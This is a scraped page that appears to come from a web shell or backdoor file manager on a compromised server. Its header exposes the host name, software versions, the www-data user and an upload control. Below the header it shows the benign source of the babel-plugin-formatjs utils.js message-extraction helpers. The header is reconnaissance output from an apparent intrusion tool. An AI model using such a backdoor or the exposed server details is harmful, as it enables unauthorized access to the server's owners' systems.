( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/../tmpr/..//tmpr/../node_modules/babel-plugin-formatjs/utils.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.storeMessage = exports.wasExtracted = exports.tagAsExtracted = exports.evaluateMessageDescriptor = exports.createMessageDescriptor = exports.getMessageDescriptorKey = void 0;
var tslib_1 = require("tslib");
var icu_messageformat_parser_1 = require("@formatjs/icu-messageformat-parser");
var ts_transformer_1 = require("@formatjs/ts-transformer");
var DESCRIPTOR_PROPS = new Set([
    'id',
    'description',
    'defaultMessage',
]);
function evaluatePath(path) {
    var evaluated = path.evaluate();
    if (evaluated.confident) {
        return evaluated.value;
    }
    throw path.buildCodeFrameError('[React Intl] Messages must be statically evaluate-able for extraction.');
}
function getMessageDescriptorKey(path) {
    if (path.isIdentifier() || path.isJSXIdentifier()) {
        return path.node.name;
    }
    return evaluatePath(path);
}
exports.getMessageDescriptorKey = getMessageDescriptorKey;
function getMessageDescriptorValue(path, isMessageNode) {
    if (!path) {
        return '';
    }
    if (path.isJSXExpressionContainer()) {
        // If this is already compiled, no need to recompiled it
        if (isMessageNode && path.get('expression').isArrayExpression()) {
            return '';
        }
        path = path.get('expression');
    }
    // Always trim the Message Descriptor values.
    var descriptorValue = evaluatePath(path);
    return descriptorValue;
}
function createMessageDescriptor(propPaths) {
    return propPaths.reduce(function (hash, _a) {
        var keyPath = _a[0], valuePath = _a[1];
        var key = getMessageDescriptorKey(keyPath);
        if (DESCRIPTOR_PROPS.has(key)) {
            hash[key] = valuePath;
        }
        return hash;
    }, {
        id: undefined,
        defaultMessage: undefined,
        description: undefined,
    });
}
exports.createMessageDescriptor = createMessageDescriptor;
function evaluateMessageDescriptor(descriptorPath, isJSXSource, filename, idInterpolationPattern, overrideIdFn, preserveWhitespace) {
    if (isJSXSource === void 0) { isJSXSource = false; }
    var id = getMessageDescriptorValue(descriptorPath.id);
    var defaultMessage = getICUMessageValue(descriptorPath.defaultMessage, {
        isJSXSource: isJSXSource,
    }, preserveWhitespace);
    var description = getMessageDescriptorValue(descriptorPath.description);
    if (overrideIdFn) {
        id = overrideIdFn(id, defaultMessage, description, filename);
    }
    else if (!id && idInterpolationPattern && defaultMessage) {
        id = (0, ts_transformer_1.interpolateName)({ resourcePath: filename }, idInterpolationPattern, {
            content: description
                ? "".concat(defaultMessage, "#").concat(description)
                : defaultMessage,
        });
    }
    var descriptor = {
        id: id,
    };
    if (description) {
        descriptor.description = description;
    }
    if (defaultMessage) {
        descriptor.defaultMessage = defaultMessage;
    }
    return descriptor;
}
exports.evaluateMessageDescriptor = evaluateMessageDescriptor;
function getICUMessageValue(messagePath, _a, preserveWhitespace) {
    var _b = _a === void 0 ? {} : _a, _c = _b.isJSXSource, isJSXSource = _c === void 0 ? false : _c;
    if (!messagePath) {
        return '';
    }
    var message = getMessageDescriptorValue(messagePath, true);
    if (!preserveWhitespace) {
        message = message.trim().replace(/\s+/gm, ' ');
    }
    try {
        (0, icu_messageformat_parser_1.parse)(message);
    }
    catch (parseError) {
        if (isJSXSource &&
            messagePath.isLiteral() &&
            message.indexOf('\\\\') >= 0) {
            throw messagePath.buildCodeFrameError('[React Intl] Message failed to parse. ' +
                'It looks like `\\`s were used for escaping, ' +
                "this won't work with JSX string literals. " +
                'Wrap with `{}`. ' +
                'See: http://facebook.github.io/react/docs/jsx-gotchas.html');
        }
        throw messagePath.buildCodeFrameError('[React Intl] Message failed to parse. ' +
            'See: https://formatjs.io/docs/core-concepts/icu-syntax' +
            "\n".concat(parseError));
    }
    return message;
}
var EXTRACTED = Symbol('FormatJSExtracted');
/**
 * Tag a node as extracted
 * Store this in the node itself so that multiple passes work. Specifically
 * if we remove `description` in the 1st pass, 2nd pass will fail since
 * it expect `description` to be there.
 * HACK: We store this in the node instance since this persists across
 * multiple plugin runs
 * @param path
 */
function tagAsExtracted(path) {
    path.node[EXTRACTED] = true;
}
exports.tagAsExtracted = tagAsExtracted;
/**
 * Check if a node was extracted
 * @param path
 */
function wasExtracted(path) {
    return !!path.node[EXTRACTED];
}
exports.wasExtracted = wasExtracted;
/**
 * Store a message in our global messages
 * @param messageDescriptor
 * @param path
 * @param opts
 * @param filename
 * @param messages
 */
function storeMessage(_a, path, _b, filename, messages) {
    var id = _a.id, description = _a.description, defaultMessage = _a.defaultMessage;
    var extractSourceLocation = _b.extractSourceLocation;
    if (!id && !defaultMessage) {
        throw path.buildCodeFrameError('[React Intl] Message Descriptors require an `id` or `defaultMessage`.');
    }
    var loc = {};
    if (extractSourceLocation) {
        loc = (0, tslib_1.__assign)({ file: filename }, path.node.loc);
    }
    messages.push((0, tslib_1.__assign)({ id: id, description: description, defaultMessage: defaultMessage }, loc));
}
exports.storeMessage = storeMessage;